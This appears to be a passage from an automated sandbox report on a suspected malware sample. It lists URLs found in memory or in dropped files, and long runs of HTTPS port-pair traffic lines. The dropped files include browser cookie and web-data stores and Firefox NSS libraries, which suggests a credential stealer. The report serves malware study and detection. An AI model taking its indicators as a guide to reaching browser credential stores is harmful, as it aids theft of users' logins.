Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.16.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.16.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: e65bf950-44d4-40f9-8d0d-4290351ad904.tmp.17.dr, 08eab6ac-041f-43f5-a394-5b37f5803d77.tmp.17.dr	String found in binary or memory: https://clients2.google.com
Source: e65bf950-44d4-40f9-8d0d-4290351ad904.tmp.17.dr, 08eab6ac-041f-43f5-a394-5b37f5803d77.tmp.17.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 08eab6ac-041f-43f5-a394-5b37f5803d77.tmp.17.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log10.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: IEBFHCAKFBGDHIDHIDBK.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXIDv10
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.16.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log3.16.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376991217971640.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://srtb.msn.com/
Source: file.exe, 00000001.00000003.2628000414.000000002374A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000001.00000003.2628000414.000000002374A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, KEGCBFCB.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.16.dr, content_new.js.16.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: e65bf950-44d4-40f9-8d0d-4290351ad904.tmp.17.dr, 08eab6ac-041f-43f5-a394-5b37f5803d77.tmp.17.dr	String found in binary or memory: https://www.googleapis.com
Source: file.exe, 00000001.00000003.2628000414.000000002374A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000001.00000003.2628000414.000000002374A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000001.00000003.2628000414.000000002374A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 52186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 52116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 52118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 52165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 52187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 52164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 52142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 52138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 52194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 52149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
